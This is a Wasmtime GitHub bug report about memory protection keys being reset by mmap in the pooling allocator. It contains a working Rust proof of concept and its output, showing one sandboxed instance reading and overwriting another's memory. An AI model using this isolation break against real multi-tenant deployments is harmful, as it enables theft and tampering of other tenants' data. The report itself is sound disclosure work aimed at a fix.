alexcrichton opened issue #13982:
Turns out applying a new
mmapto a region will reset protection keys allocated to a region of memory. This means that CoW mappings when combined with MPK mean that it's possible to read data across instances:use wasmtime::Result; use wasmtime::*; fn main() -> Result<()> { let mut pool = PoolingAllocationConfig::new(); pool.memory_protection_keys(Enabled::Yes); pool.max_memory_size(1 << 20); pool.total_memories(64); pool.total_tables(64); pool.total_core_instances(64); let mut config = Config::new(); config.allocation_strategy(InstanceAllocationStrategy::Pooling(pool)); let engine = Engine::new(&config)?; let ma = Module::new( &engine, r#"(module (memory (export "m") 1) (data (i32.const 0) "SECRET"))"#, )?; let mb = Module::new( &engine, r#"(module (memory (export "m") 1) (func (export "load") (param i32) (result i32) local.get 0 i32.load) (func (export "store") (param i32 i32) local.get 0 local.get 1 i32.store))"#, )?; let mut a = Store::new(&engine, ()); let mut b = Store::new(&engine, ()); let ia = Instance::new(&mut a, &mb, &[])?; let ib = Instance::new(&mut b, &ma, &[])?; let ma = ia.get_memory(&mut a, "m").unwrap(); let mb = ib.get_memory(&mut b, "m").unwrap(); let off = u32::try_from(mb.data_ptr(&b) as usize - ma.data_ptr(&a) as usize).unwrap() as i32; println!("ma memory sits at +{off:#x} from the mb's memory"); let load = ia.get_typed_func::<i32, i32>(&mut a, "load")?; let store = ia.get_typed_func::<(i32, i32), ()>(&mut a, "store")?; if let Ok(v) = load.call(&mut a, off) { println!( "erroneously able to read {:?}", String::from_utf8_lossy(&v.to_le_bytes()) ); } if store.call(&mut a, (off, 0x41414141)).is_ok() { println!("cross-instance store succeeded {:?}", &mb.data(&b)[..11]); } Ok(()) }runs as:
$ cargo run Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.05s Running `target/debug/minimal` ma memory sits at +0x11334000 from the mb's memory erroneously able to read "SECR" cross-instance store succeeded [65, 65, 65, 65, 69, 84, 0, 0, 0, 0, 0]Note that MPK is already documented as possibly buggy, and this is an example of a bug
alexcrichton added the bug label to Issue #13982.
alexcrichton added the wasmtime:pooling-allocator label to Issue #13982.
Last updated: Jul 29 2026 at 05:03 UTC